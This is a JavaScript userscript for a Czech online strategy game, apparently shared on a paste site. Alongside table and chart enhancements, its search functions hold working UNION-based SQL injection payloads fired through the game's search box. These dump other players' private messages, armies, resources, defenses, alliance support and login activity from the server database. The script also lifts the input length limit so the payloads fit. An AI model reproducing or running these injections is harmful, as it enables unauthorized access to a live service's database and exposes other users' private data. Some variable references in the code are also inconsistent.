- return $('#player_detail').length > 0
- }
- function autoLoginSettings()
- {
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Auto login (s)</label>');
- $('#left_column_wrapper').append('<input id="autoLogin" type="checkbox"/>');
- $('#left_column_wrapper').append('<input type="text" id="autoLoginInterval" style="width: 120px;"/><br/>');
- $('#autoLogin').prop('checked', localStorage.autoLogin === "true");
- $('#autoLogin').on("change keyup paste", function() {localStorage.autoLogin = $("#autoLogin").is(':checked');});
- $('#autoLoginInterval').val(localStorage.autoLoginInterval ? localStorage.autoLoginInterval : '');
- $('#autoLoginInterval').on("change keyup paste", function() { localStorage.autoLoginInterval = $('#autoLoginInterval').val();});
- }
- function agregateByProp(prop)
- {
- var groupedValues = Array.apply(0, new Array(localStorage.length))
- .map(function (o, i) {return localStorage.key(i);})
- .filter(function(i){return /^\d+$/.test(i)})
- .map(function(id)
- {
- var values = JSON.parse(localStorage[id]);
- var agregated = values
- .filter(val => val[prop])
- .map(val => ({date : val.date, value : val[prop]}))
- .reduce(aggregateByHour, {});
- return Object.values(agregated)
- .map(val => val[0]);
- })
- .flatMap(val => val)
- .reduce(aggregateByHour, {});
- return Object.values(groupedValues).map(val =>
- {
- var size = val.length;
- var date = val[0].date;
- var average = val.filter(a => a)
- .filter(a => a.value)
- .map(a => a.value)
- .filter(a => a !== '-1')
- .filter(function(a){return /^\d+$/.test(a)})
- .reduce((a,b) => Number(a) + Number(b), 0) / size;
- return {date : date, average : average};
- })
- .sort((a, b) => (new Date(a.date) > new Date(b.date)) ? 1 : -1);
- }
- function aggregateByHour(acc, val2)
- {
- var date = new Date(val2.date);
- var yearWeek = moment(date).year() + '-' + moment(date).week() + '-' + moment(date).day()+ '-' + moment(date).hour();
- if (typeof acc[yearWeek] === 'undefined') {
- acc[yearWeek] = [];
- }
- acc[yearWeek].push(val2);
- return acc;
- }
- function renderMeliorGraph()
- {
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Average graphs</label>');
- $('#left_column_wrapper').append('<input id="averageGraphEnabled" type="checkbox"/>');
- $('#averageGraphEnabled').on("change keyup paste", function()
- {
- var areaValues = agregateByProp('area');
- renderChart(areaValues, 'average', 'areaGraph', $('#footer'), 24 * 9);
- var powerValues = agregateByProp('power');
- renderChart(powerValues, 'average', 'powerGraph', $('#footer'), 24 * 9);
- var otValues = agregateByProp('ot');
- renderChart(otValues, 'average', 'otGraph', $('#footer'), 24 * 9);
- });
- }
- function removeProtectionRows()
- {
- $('td:contains("Protekce")').prepend('<input id="protRemoveCheckbox" type="checkbox"/>');
- $('#protRemoveCheckbox').on("change keyup paste", function(event)
- {
- if (this.checked)
- {
- $('table:contains("Síla"):contains("ID")').find('tr:not(".playerUnits")').has('.listings_prot_mil').hide();
- }
- else
- {
- $('table:contains("Síla"):contains("ID")').find('tr:not(".playerUnits")').has('.listings_prot_mil').show();
- }
- event.stopPropagation();
- });
- }
- function parseAndRenderBattleForId()
- {
- $.each($('.post_msg_body:contains("Všechna kola boje")'), (index, renderTo) =>
- {
- var hisAttacks = $(renderTo).find('.attack_round_4').find('.his_unit_attacks')
- .filter((index, val) => !$(val).parent().hasClass('unit_strikes_back'))
- .map((i, val) => parseText($(val).text()))
- .filter(val => !val.firstUnit)
- .filter(val => !val.secondUnit)
- .sort((a, b) => b.firstCount - a.firstCount);
- var mineAttacks = $(renderTo).find('.attack_round_4').find('.my_unit_attacks')
- .filter((index, val) => !$(val).parent().hasClass('unit_strikes_back'))
- .map((i, val) => parseText($(val).text()))
- .filter(val => !val.firstUnit)
- .filter(val => !val.secondUnit)
- .sort((a, b) => b.firstCount - a.firstCount);
- var idAtacker = $(renderTo).find('.fight_attacker').text().split('(')[1].replace(')', '').trim();
- var idDeffender = $(renderTo).find('.fight_defender').text().split('(')[1].replace(')', '').trim();
- var mineId = $('form').find('input[name="id"]').val().trim();
- var hisUnits;
- if (idAtacker === mineId)
- {
- hisUnits = hisAttacks.map((i,val) => ({unit : val.firstUnit, count : val.firstCount}));
- localStorage['attack' + idDeffender] = JSON.stringify(hisUnits.toArray());
- }
- else
- {
- hisUnits = mineAttacks.map((i,val) => ({unit : val.firstUnit, count : val.firstCount}));
- localStorage['attack' + idAtacker] = JSON.stringify(hisUnits.toArray());
- }
- });
- }
- function parseText(text)
- {
- var rows = text.trim().split("\n");
- var unitAndCount;
- if (rows[0].includes(' -> '))
- {
- unitAndCount = rows[0].split(' -> ');
- }
- else if (rows[0].includes(' => '))
- {
- unitAndCount = rows[0].split(' => ');
- }
- var firstUnitAndCount = unitAndCount[0].trim().split(' x ');
- var secondUnitAndCount = unitAndCount[1] ? unitAndCount[1].trim().split(' x ') : '';
- var firstCount = firstUnitAndCount[0] ? firstUnitAndCount[0].trim() : '1';
- var firstUnit = firstUnitAndCount[1] ? firstUnitAndCount[1].trim() : firstUnitAndCount[0].trim();
- if (!firstUnitAndCount[1])
- {
- firstCount = '1';
- }
- var secondCount = secondUnitAndCount[0] ? secondUnitAndCount[0].trim() : '1';
- var secondUnit = secondUnitAndCount[1] ? secondUnitAndCount[1].trim() : secondUnitAndCount[0];
- if (!secondUnitAndCount[1])
- {
- secondCount = '1';
- }
- return {firstCount : firstCount, firstUnit : firstUnit, secondCount : secondCount , secondUnit : secondUnit};
- }
- function parseUnitStats()
- {
- var rows = $('.JednotkyMa').find('tr');
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = $(columns[1]).text().trim();
- var relativeDmg = $(columns[2]).text().trim();
- var relativeDef = $(columns[3]).text().trim();
- var relativeLife = $(columns[4]).text().trim();
- var result = {};
- if (localStorage['unit' + id])
- {
- result = JSON.parse(localStorage['unit' + id]);
- }
- result.id = id;
- result.name = name;
- result.dmg = relativeDmg;
- result.def = relativeDef;
- result.life = relativeLife;
- localStorage['unit' + id] = JSON.stringify(result);
- }
- }
- }
- );
- rows = $('.JednotkyMa2').find('tr');
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var ini = $(columns[1]).text().trim();
- var pwr = $(columns[2]).text().trim();
- var phb = $(columns[3]).text().trim();
- var type = $(columns[4]).text().trim();
- var result = {};
- if (localStorage['unit' + id])
- {
- result = JSON.parse(localStorage['unit' + id]);
- }
- result.id = id;
- result.ini = ini;
- result.pwr = pwr;
- result.phb = phb;
- result.type = type;
- localStorage['unit' + id] = JSON.stringify(result);
- }
- }
- }
- );
- }
- function renderNoteForPlayer()
- {
- $.each($('.tt_player'), (index, renderTo) =>
- {
- // how to get id?
- var id = $(renderTo).text().trim().substring(0,4);
- var popup = $(renderTo).find('.tooltip');
- $(popup).css('background-color', 'black');
- if ($(popup).find('textarea').length === 0)
- {
- $(popup).find('.tooltip_attack_power').append('<div style="font-size: 25px; padding-top: 20px;" id="sqlInj' + id + '">Vyhledat info</div>');
- $('#sqlInj' + id).click(() =>
- {
- localStorage.sqlHracId = id;
- $('#SearchText').val("aaa' union select id,spravce,zbyva_tu,mana,zlato,1,1,1,1 from users where id=" + localStorage.sqlHracId + " limit 100#");
- $('#SearchButton').click();
- });
- $(popup).append('<br/><label>Notes for player</label><br/>');
- $(popup).append('<textarea rows="4" cols="50" id="notes' + id + '"></textarea>');
- $('#notes' + id).val(localStorage["notes" + id] ? localStorage["notes" + id] : '');
- $('#notes' + id).on("change keyup paste click", function(event)
- {
- localStorage["notes" + id] = $('#notes' + id).val();
- event.stopPropagation();
- });
- $(popup).append('<br/><label>AttackUnits for player</label><br/>');
- $(popup).append(renderPlayersUnits(id));
- }
- });
- }
- function renderPlayersUnits(id)
- {
- $('.tooltip').css('min-width', '450px');
- var table = '<table><tr class="playerUnits"><td>Name</td><td>Count</td><td>Power</td><td>Dmg rel.</td><td>Ini rel.</td><td>AT</td><td>Phb</td><td>Type</td></tr>';
- if (localStorage["attack" + id])
- {
- var unitCountMap = JSON.parse(localStorage["attack" + id]);
- unitCountMap.forEach(val =>
- {
- var unit = val.unit;
- var count = val.count;
- table += '<tr class="playerUnits"><td>' + unit + '</td>';
- table += '<td>' + count + '</td>';
- if (localStorage[unit])
- {
- var unitData = JSON.parse(localStorage[unit]);
- table += '<td>' + (getUnitPowerByName(unit, count)).toFixed(0) + '</td>';
- table += '<td>' + Number(unitData.relativeDmg) + '</td>';
- table += '<td>' + Number(unitData.relativeIni) + '</td>';
- table += '<td>' + (unitData.attackType === 'Bojová' ? 'B' : 'S') + '</td>';
- table += '<td>' + unitData.php + '</td>';
- table += '<td>' + (unitData.type === 'Pozemní' ? 'P' : 'L') + '</td></tr>';
- }
- });
- }
- return table;
- }
- function getUnitPowerByName(unitName, count)
- {
- var data = JSON.parse(localStorage[unitName]);
- if (data.attackType === 'Bojová')
- {
- return Number(data.power) * 0.5 * count;
- }
- else
- {
- return Number(data.power) * 1 * count;
- }
- }
- function parseSpiesInfo()
- {
- if ($('.spies_item_info').length > 0)
- {
- var power = $($('tr:contains("Síla provincie")').children()[1]).text().trim().replace(' ', '');
- var id = $($('tr:contains("Provincie")').children()[1]).text().trim().split('(')[1].replace(')', '').trim();
- var area = $($('tr:contains("Rozloha")').children()[1]).text().trim().replace(' ', '').split('(')[0].trim();
- var array= JSON.parse(localStorage[id]);
- array.push({"power" : power, "area" : area, "date" : Date()});
- localStorage[id] = JSON.stringify(array);
- }
- }
- function signature()
- {
- $('#left_column_wrapper').append('<br/><label style="padding-right: 25px;">Shittalk</label><br/>');
- $('#left_column_wrapper').append('<textarea id="shittalk"/><br/>');
- $('#shittalk').val(localStorage.shittalk ? localStorage.shittalk : '');
- $('#shittalk').on("change keyup paste", function() { localStorage.shittalk = $('#shittalk').val();});
- var shittalk = $('#attacks_message textarea');
- if (shittalk)
- {
- shittalk.val(localStorage.shittalk);
- }
- }
- function searchSqlEnahance()
- {
- $('#search_detail').css('style', 'onlinePlayers');
- $('#searches').find("input[name*='hledat']").attr('maxlength', '1000');
- $('#search_results_table .tr_summary').remove();
- $('#searches').prepend('<label>Hrac Id</label><input type="text" id="sqlHracId" /><label id="playerName">' + getLastDbValue(localStorage.sqlHracId, 'name') + '</label>');
- $('#searches').prepend('<br/>');
- $('#sqlHracId').val(localStorage.sqlHracId ? localStorage.sqlHracId : '');
- $('#sqlHracId').on("change keyup paste", function() {
- {
- localStorage.sqlHracId = $('#sqlHracId').val();
- $("#playerName").html(getLastDbValue($('#sqlHracId').val(), 'name'));
- }
- });
- // zpravy hrace
- addSqlInjection('Zpravy', () => "aaa' union select odesilatel_id,kdy,telo,1,1,1,1,1,1 from ma_posta" + whereClause('odesilatel_id') + " order by 2 desc limit 100#",
- ['Kdo', 'Kdy', 'Telo', '']);
- addSqlInjection('Armada', () => "aaa' union select id_jednotky, pocet_jedn, zkusenost,1,1,1,1,1,1 from jedn" + whereClause('id_user') + " limit 100#",
- ['Idcko', 'Pocet', 'Zkusenost', 'Sila', 'Zraneni', 'Zivotnost', 'Iniciativa']);
- addSqlInjection('Vypis', () => "aaa' union select id,spravce,zbyva_tu,mana,zlato,1,1,1,1 from users" + whereClause('id') + " limit 100#",
- ["idcko", 'Regent', 'Zbyva tu', 'Mana', 'Zlato', '','','']);
- if (localStorage.sqlHracId)
- {
- addSqlInjection('Protekce', () => "aaa' union all (select 'Utok',koho,kdy,1,1,1,1,1,1 from utoky" + whereClause('kdo') + " order by 3 desc limit 10)" +
- "union all (select 'Obrana',kdo,kdy,1,1,1,1,1,1 from utoky" + whereClause('koho') + " and je_to_prvoutok=1 and vyhral!=" + localStorage.sqlHracId +" order by 3 desc limit 3) order by 3 desc#",
- ["Typ utoku", 'Kdo', 'Kdy', '', '', '','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('KouzlaVObrane', () => "aaa' " +
- "union all (select 1,(select nazev from kouzla where id=id_kzl),ucinek,(select mana_sesl from kouzla where id=id_kzl),1,1,1,1,1 from kzl where id_user=" + localStorage.sqlHracId +" and id_kzl in (select id_kzl_1 from obrana" + whereClause('id_user') + "))" +
- "union all (select 2,(select nazev from kouzla where id=id_kzl),ucinek,(select mana_sesl from kouzla where id=id_kzl),1,1,1,1,1 from kzl where id_user=" + localStorage.sqlHracId +" and id_kzl in (select id_kzl_2 from obrana" + whereClause('id_user') + "))" +
- "union all (select 3,(select nazev from kouzla where id=id_kzl),ucinek,(select mana_sesl from kouzla where id=id_kzl),1,1,1,1,1 from kzl where id_user=" + localStorage.sqlHracId +" and id_kzl in (select id_kzl_3 from obrana" + whereClause('id_user') + "))" +
- "union all (select 4,(select nazev from kouzla where id=id_kzl),ucinek,(select mana_sesl from kouzla where id=id_kzl),1,1,1,1,1 from kzl where id_user=" + localStorage.sqlHracId +" and id_kzl in (select id_kzl_4 from obrana" + whereClause('id_user') + "))" +
- "#",
- ["Kolo", 'Kouzlo', 'Ucinek', 'Mana', '', '','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('Ochrany', () => "aaa' union select barva,zvyseny_r,do_tahu,(select odehrano_tahu from users" + whereClause('id') + "),1,1,1,1,1 from rezisty" + whereClause('id_user') + " limit 6#",
- ["Barva", 'Ucinek', 'Zbyva tu', 'Odehrano TU', '', '','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('Ozivko', () => "aaa' union select koho,kdy,kvalita_cile,1,1,1,1,1,1 from utoky where kdo=" + localStorage.sqlHracId + " and je_to_prvoutok=1 order by 2 desc limit 10#",
- ["Koho", 'Kdy', 'Kvalita', '', '', '','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('JehoPodpory', () => "aaa' " +
- "union (select id_user,id_jednotky,pocet_jedn,zkusenost,priorita_pomoci,1,1,1,1 from jedn where id_user in (" +
- "select vojen1 from ally" + whereClause('id_user') + " and 1 in (select obrana_pakt_1 from obrana" + whereClause('id_user') + ")" +
- ") order by 5 desc limit 2)" +
- "union (select id_user,id_jednotky,pocet_jedn,zkusenost,priorita_pomoci,1,1,1,1 from jedn where id_user in (" +
- "select vojen2 from ally" + whereClause('id_user') + " and 1 in (select obrana_pakt_2 from obrana" + whereClause('id_user') + ")" +
- ") order by 5 desc limit 2)" +
- "union (select id_user,id_jednotky,pocet_jedn,zkusenost,priorita_pomoci,1,1,1,1 from jedn where id_user in (" +
- "select vojen3 from ally"+ whereClause('id_user') + " and 1 in (select obrana_pakt_3 from obrana" + whereClause('id_user') + ")" +
- ") order by 5 desc limit 2)" +
- "union (select id_user,id_jednotky,pocet_jedn,zkusenost,priorita_pomoci,1,1,1,1 from jedn where id_user in (" +
- "select vojen4 from ally" + whereClause('id_user') + " and 1 in (select obrana_pakt_4 from obrana" + whereClause('id_user') + ")" +
- ") order by 5 desc limit 2)#",
- ["Od koho", 'Jednotka', 'Pocet', 'Zkusenost', 'Priorita', 'Sila','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('OnlineCheck', () => "aaa' union select id_user, last_click,cyklus,1,1,1,1,1,1 from antiscript_kontrola where id_user='" + localStorage.sqlHracId + "' order by 3 desc limit 1#",
- ["idcko", 'Last click', '', '', '', '','','']);
- }
- if (localStorage.sqlHracId)
- {
- addSqlInjection('NocniKlid', () => "aaa' union select start_time,end_time,1,1,1,1,1,1,1 from nocni_klid where id_user=" + localStorage.sqlHracId + "#",
- ["Od kdy", 'Do kdy', '', '', '', '','','']);
- }
- $('#searches').prepend('<br/>');
- addSqlInjection('JednotkyMa', () => "aaa' union select id, jmeno, dmg, brneni, zivoty, iniciativa ,1,1,1 from jednotky#",
- ['idcko', 'jmeno', 'dmg', 'brneni', 'zivoty', 'iniciativa']);
- addSqlInjection('JednotkyMa2', () => "aaa' union select id, iniciativa, power, pohybl, druh, 1 ,1,1,1 from jednotky#",
- ['idcko', 'Iniciativa', 'Power', 'Pohyblivost', 'Druh', '']);
- }
- function whereClause(colName)
- {
- if (localStorage.sqlHracId)
- {
- return " where " + colName + "=" + localStorage.sqlHracId;
- }
- return '';
- }
- function addSqlInjection(id, sqlInjection, cols)
- {
- $('#searches').prepend('<span style="color: #a8a8a8; margin: 5px; padding: 5px; margin-bottom: 10px; display: inline-block; border: 1px solid #a8a8a8; background: #323232;" id="' + id + '">' + id + '</span>');
- $('#' + id).click(function()
- {
- $('#searches').find("input[name*='hledat']").val(sqlInjection());
- $($('#searches').find('button:contains("Vyhledat")')).click();
- });
- if (sqlInjection() === $("input[name*='hledat']").val())
- {
- $('#' + id).css('background-color', 'white');
- $('#search_results_table').addClass(id);
- cols.forEach((name, index) =>
- {
- $($('#search_results_table').find('.heading > td')[index]).html(name);
- });
- }
- }
- function replaceJehoPodpory()
- {
- var rows = $('.JehoPodpory').find('tr');
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = getLastDbValue(id, 'name');
- $(columns[0]).html(id + " " + name);
- }
- if ($(columns[1]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[1]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var result = {};
- if (localStorage['unit' + id])
- {
- result = JSON.parse(localStorage['unit' + id]);
- }
- var exp = Number($(columns[3]).text().trim());
- var count = Number($(columns[2]).text().trim());
- var pwr = result.pwr;
- $(columns[5]).html(Math.floor((exp / 100) * count * pwr));
- $(columns[1]).html(result.name);
- }
- }
- }
- );
- removeSearchColumns($('.JehoPodpory'), 3);
- }
- function replaceZpravy()
- {
- var rows = $('.Zpravy').find('tr');
- removeSearchColumns($('.Zpravy'), 6);
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- resolvePlayerNameForId(columns, 0);
- }
- }
- );
- }
- function resolvePlayerNameForId(columns, position)
- {
- if ($(columns[position]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[position]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = getLastDbValue(id, 'name');
- $(columns[position]).html(id + " " + name);
- }
- }
- function replaceNocniKlid()
- {
- removeSearchColumns($('.NocniKlid'), 7);
- }
- function replaceDateInOzivko()
- {
- var rows = $('.Ozivko').find('tr');
- removeSearchColumns($('.Ozivko'), 6);
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = getLastDbValue(id, 'name');
- $(columns[0]).html(id + " " + name);
- var date = new Date($(columns[1]).html() * 1000);
- $(columns[1]).html(formatDuration(new Date() - date));
- if ((new Date() - date) / (60 * 60 * 1000) > 24)
- {
- $(value).remove();
- }
- }
- }
- }
- );
- }
- function replaceOnlineCheck()
- {
- var rows = $('.OnlineCheck').find('tr');
- removeSearchColumns($('.OnlineCheck'), 7);
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = getLastDbValue(id, 'name');
- $(columns[0]).html(id + " " + name);
- var date = new Date($(columns[1]).html() * 1000);
- $(columns[1]).html(formatDuration(new Date() - date));
- }
- }
- }
- );
- }
- function replaceProtekce()
- {
- var rows = $('.Protekce').find('tr');
- removeSearchColumns($('.Protekce'), 6);
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[1]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[1]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var name = getLastDbValue(id, 'name');
- $(columns[1]).html(id + " " + name);
- var date = new Date($(columns[2]).html() * 1000);
- $(columns[2]).html(formatDuration(new Date() - date));
- }
- }
- }
- );
- }
- function replaceVypis()
- {
- removeSearchColumns($('.Vypis'));
- if ($('.Vypis').length > 0)
- {
- var id = localStorage.sqlHracId;
- var data = JSON.parse(localStorage[id]);
- $('#central_column_wrapper').append('<br/>');
- $('#central_column_wrapper').append('<br/>');
- renderChart(data, 'power', id, $('#central_column_wrapper'), 4 * 24);
- renderChart(data, 'area', id, $('#central_column_wrapper'), 4 * 24);
- renderChart(data, 'ot', id, $('#central_column_wrapper'), 4 * 24);
- }
- }
- function replaceIdInArmada()
- {
- var rows = $('.Armada').find('tr');
- $($('.Armada').find('.heading td')[4]).attr('colspan',1);
- $($('.Armada').find('.heading td')[6]).attr('colspan',1);
- var dmgs = [];
- var lifes = [];
- var inis = [];
- var counts = [];
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- if ($(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g))
- {
- var id = $(columns[0]).text().trim().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- var result = {};
- if (localStorage['unit' + id])
- {
- result = JSON.parse(localStorage['unit' + id]);
- }
- var exp = $(columns[2]).text().trim();
- var count = Number($(columns[1]).text().trim());
- counts.push({val : count, index : index});
- $(columns[0]).html(result.name);
- $(columns[2]).html(Math.round(exp));
- $(columns[3]).html(Math.round(result.pwr * (exp / 100) * count));
- var dmg = Math.round(result.dmg * count);
- $(columns[4]).html(dmg);
- dmgs.push({val : dmg, index : index});
- $(columns[5]).remove();
- var life = Math.round(result.life * count);
- $(columns[6]).html(life);
- lifes.push({val : life, index : index});
- var ini = Math.round(result.ini * count);
- $(columns[7]).html(ini);
- inis.push({val : ini, index : index});
- }
- }
- }
- );
- counts.sort((a, b) => (a.val > b.val) ? -1 : 1).forEach((value, index) =>
- {
- var row = $(rows[value.index]);
- var columns = $(row).children();
- var column = $(columns[1]);
- var prevIniVal = 0;
- if (counts[index + 1])
- {
- prevIniVal = counts[index + 1].val;
- }
- var percent = Math.floor(100 - ((prevIniVal * 100) / value.val));
- column.html(value.val + "<span style='color: " + percentToColor(percent / 100) +";'>(" + percent + ")</span>");
- });
- dmgs.sort((a, b) => (a.val > b.val) ? -1 : 1).forEach((value, index) =>
- {
- var row = $(rows[value.index]);
- var columns = $(row).children();
- var column = $(columns[4]);
- var prevIniVal = 0;
- if (dmgs[index + 1])
- {
- prevIniVal = dmgs[index + 1].val;
- }
- var percent = Math.floor(100 - ((prevIniVal * 100) / value.val));
- column.html(value.val + "<span style='color: " + percentToColor(percent / 100) +";'>(" + percent + ")</span>");
- });
- lifes.sort((a, b) => (a.val > b.val) ? -1 : 1).forEach((value, index) =>
- {
- var row = $(rows[value.index]);
- var columns = $(row).children();
- var column = $(columns[5]);
- var prevIniVal = 0;
- if (lifes[index + 1])
- {
- prevIniVal = lifes[index + 1].val;
- }
- var percent = Math.floor(100 - ((prevIniVal * 100) / value.val));
- column.html(value.val + "<span style='color: " + percentToColor(percent / 100) +";'>(" + percent + ")</span>");
- });
- inis.sort((a, b) => (a.val > b.val) ? -1 : 1).forEach((value, index) =>
- {
- var row = $(rows[value.index]);
- var columns = $(row).children();
- var column = $(columns[6]);
- var prevIniVal = 0;
- if (inis[index + 1])
- {
- prevIniVal = inis[index + 1].val;
- }
- var percent = Math.floor(100 - ((prevIniVal * 100) / value.val));
- column.html(value.val + "<span style='color: " + percentToColor(percent / 100) +";'>(" + percent + ")</span>");
- });
- var powerSum = 0;
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- powerSum += Number($(columns[3]).text());
- }
- });
- $('.Armada').append('<div>Power sum: ' + powerSum + '</div>');
- }
- function replaceOchrany()
- {
- var rows = $('.Ochrany').find('tr');
- removeSearchColumns($('.Ochrany'), 5);
- $.each(rows,
- function (index, value)
- {
- if (index > 0) // skip header row
- {
- var columns = $(value).children();
- var toTu = $(columns[2]).text().trim();
- var actualTu = $(columns[3]).text().trim();
- $(columns[2]).html(toTu - actualTu);
- if (toTu - actualTu < 0)
- {
- $(columns[1]).html('0');
- }
- }
- }
- );
- }
- function markRow()
- {
- $('table tr').hover(function() {
- if ($(this).css("background-color") !== "rgb(0, 128, 0)")
- {
- $(this).css("background-color", "#2C3E50");
- }
- }, function() {
- if ($(this).css("background-color") !== "rgb(0, 128, 0)")
- {
- $(this).css("background-color", "");
- }
- });
- }
- function markCsRows()
- {
- var attackTables = $('.attacks_table');
- if (attackTables && attackTables.length > 0)
- {
- var trs = $(attackTables[1]).find('tr:contains("nevráceno")');
- var ids = trs.map((index, tr) =>
- {
- return $($(tr).children()[1]).text().match(/^\d+|\d+\b|\d+(?=\w)/g).map(function (v) {return +v;})[0];
- });
- localStorage['cska'] = JSON.stringify(ids);
- }
- var csIdsl;
- if (localStorage['cska'])
- {
- csIds1 = JSON.parse(localStorage['cska']);
- }
- if (csIds && csIds.length > 0)
- {
- Array.from(csIds).forEach(id =>
- {
- var rowsWithId = $('table:contains("ID"):not(".attacks_table")').find('.listings_id:contains("' + id +'")');
- $(rowsWithId.closest('tr')).css('background-color', 'green');
- });
- }
- }
- function replaceKouzlaVObrane()
- {
- removeSearchColumns($('.KouzlaVObrane'), 5);
- }
- function removeSearchColumns(table, colsToRemove)
- {
- table.find('tr').find('td:eq(4),th:eq(4)').attr('colspan',1);
- table.find('.heading').append('<td></td><td></td>');
- table.find('tr').find('td:eq(6),th:eq(6)').attr('colspan',1);
- table.find('tr').find('td:eq(7),th:eq(7)').attr('colspan',1);
- if (!colsToRemove)
- {
- colsToRemove = 4;
- }
- for (var i = 0; i < colsToRemove; i++)
- {
- var colSize = table.find('.heading td').length;
- removeTableColumn(table, colSize - 1);
- }
- }
- function removeTableColumn(table, colNumber)
- {
- table.find('tr').find('td:eq(' + colNumber + '),th:eq(' + colNumber + ')').remove();
- }
- function parseMyStats()
- {
- var id = resolveMineId();
- var population = $('#LS_population .value').text().trim();
- var area = $('#LS_land .value').text().replace(' hAR', '').trim();
- var gold = $('#LS_gold .value').text();
- var glory = $('#LS_glory .value').text();
- var power = $('#LS_power .value').text();
- var array = JSON.parse(localStorage[id]);
- array.push({"power" : power, "area" : area, "date" : Date(), "gold" : gold, "population": population, "glory" : glory});
- localStorage[id] = JSON.stringify(array);
- $('#credits_wrapper').append('<div id="showMineCharts" style="font-size: 20px;">Mine stats</div>')
- $('#showMineCharts').click(() =>
- {
- renderChart(array, 'power', id, $('#credits_wrapper'), 168);
- renderChart(array, 'area', id, $('#credits_wrapper'), 168);
- renderChart(array, 'gold', id, $('#credits_wrapper'), 168);
- renderChart(array, 'population', id, $('#credits_wrapper'), 168);
- renderChart(array, 'glory', id, $('#credits_wrapper'), 168);
- });
- }
- function resolveMineId()
- {
- return $($('#player_regent span')[1]).text().replace('(ID ', '').replace(')', '');
- }
- if (isLogged())
- {
- parseMyStats();
- markCsRows();
- markRow();
- searchSqlEnahance();
- parseSpiesInfo();
- parseUnitStats();
- replaceIdInArmada();
- replaceDateInOzivko();
- replaceJehoPodpory();
- replaceOchrany();
- replaceOnlineCheck();
- replaceProtekce();
- replaceZpravy();
- replaceVypis();
- replaceKouzlaVObrane();
- replaceNocniKlid();
- parseAndRenderBattleForId();
- //renderMeliorGraph();
- //autoLoginSettings();
- //checkCs();
- renderNoteForPlayer();
- renderPlayersOnline();
- makeTableOrderable();
- renderNotes();
- checkBestiar();
- //powerDiffAlarm();
- //renderPlayers();
- renderShieldStackPerc();
- //myPower();
- //kokotMeasure();
- //renderHistoryTextField();
- main();
- spies();
- //autorefresh();
- //checkNewMessage();
- removeProtectionRows();
- signature();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement